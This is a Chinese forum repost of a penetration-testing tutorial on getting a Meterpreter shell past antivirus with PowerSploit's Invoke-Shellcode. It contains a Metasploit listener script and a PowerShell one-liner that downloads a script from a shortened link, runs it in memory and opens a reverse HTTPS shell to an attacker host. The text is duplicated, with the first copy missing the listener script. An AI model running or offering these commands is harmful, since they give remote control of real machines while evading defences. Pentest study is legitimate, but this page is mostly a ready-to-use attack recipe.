原文:https://www.pentestgeek.com/2013/09/18/invoke-shellcode/
渗透测试人员有很多方法可以获得GUI访问目标机器,例如猜测RDP, ESX 或vnc口令。然而绕开AV获得Meterpreter的最简单方法是使用PowerSploit([url]https://github.com/mattifestation/PowerSploit[/url])
PowerSploit是一组有PowerShell实现的与安全相关的模块。PowerSploit早已在BT和Kali中存在了,而且被SET之类的工具使用,所以你很有可能使用过它。它包含了很多Windows环境中及其有用的后渗透功能(使用手册[url]https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1[/url])。
[i]
然后使用/opt/metasploit/app/msfconsole -r listener.rc
现在我们需要执行shell。首先使用bitly([color=blue]google短链接生成[/color])来缩短github中的link。
[img]http://dl2.iteye.com/upload/attachment/0101/4989/59f76d71-bf08-35c7-a458-dfe7ca2a7679.png[/img]
然后需要使用两条PowerShell命令来获得Meterpreter shell。第一条命令会创建一个.Net WebClient Object用来下载工具,并把它传到Invoke-Expression来将工具映射到内存。
[color=blue][b]IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’)[/b][/color]
现在我们需要使用于监听者相关的参数来调用Invoke-Shellcode
[color=blue][b]Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 192.168.0.15 –Lport 443 –Force[/b][/color]
我们可以合并成一条命令:
[color=blue][b]IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’); Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 172.0.1.200 –Lport 443 –Force[/b][/color]
[img]http://dl2.iteye.com/upload/attachment/0101/4991/007d0342-0b63-3443-8b53-105422e1f627.png[/img]
然后我们就可以关掉PowerShell因为smart_migrate Meterpreter脚本已经注入到一个新的进程中了
[img]http://dl2.iteye.com/upload/attachment/0101/4993/1bc7ab89-6fc6-3d37-b5f1-c9ac233f6823.png[/img]
这是我所见过的绕过AV的最简单方法。
渗透测试人员有很多方法可以获得GUI访问目标机器,例如猜测RDP, ESX 或vnc口令。然而绕开AV获得Meterpreter的最简单方法是使用PowerSploit([url]https://github.com/mattifestation/PowerSploit[/url])
PowerSploit是一组有PowerShell实现的与安全相关的模块。PowerSploit早已在BT和Kali中存在了,而且被SET之类的工具使用,所以你很有可能使用过它。它包含了很多Windows环境中及其有用的后渗透功能(使用手册[url]https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1[/url])。
[i]
use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.59.128
set LPORT 443
set ExitOnSession false
set AutoRunScript post/windows/manage/smart_migrate
exploit -j
[/i]
然后使用/opt/metasploit/app/msfconsole -r listener.rc
现在我们需要执行shell。首先使用bitly([color=blue]google短链接生成[/color])来缩短github中的link。
[img]http://dl2.iteye.com/upload/attachment/0101/4989/59f76d71-bf08-35c7-a458-dfe7ca2a7679.png[/img]
然后需要使用两条PowerShell命令来获得Meterpreter shell。第一条命令会创建一个.Net WebClient Object用来下载工具,并把它传到Invoke-Expression来将工具映射到内存。
[color=blue][b]IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’)[/b][/color]
现在我们需要使用于监听者相关的参数来调用Invoke-Shellcode
[color=blue][b]Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 192.168.0.15 –Lport 443 –Force[/b][/color]
我们可以合并成一条命令:
[color=blue][b]IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’); Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 172.0.1.200 –Lport 443 –Force[/b][/color]
[img]http://dl2.iteye.com/upload/attachment/0101/4991/007d0342-0b63-3443-8b53-105422e1f627.png[/img]
然后我们就可以关掉PowerShell因为smart_migrate Meterpreter脚本已经注入到一个新的进程中了
[img]http://dl2.iteye.com/upload/attachment/0101/4993/1bc7ab89-6fc6-3d37-b5f1-c9ac233f6823.png[/img]
这是我所见过的绕过AV的最简单方法。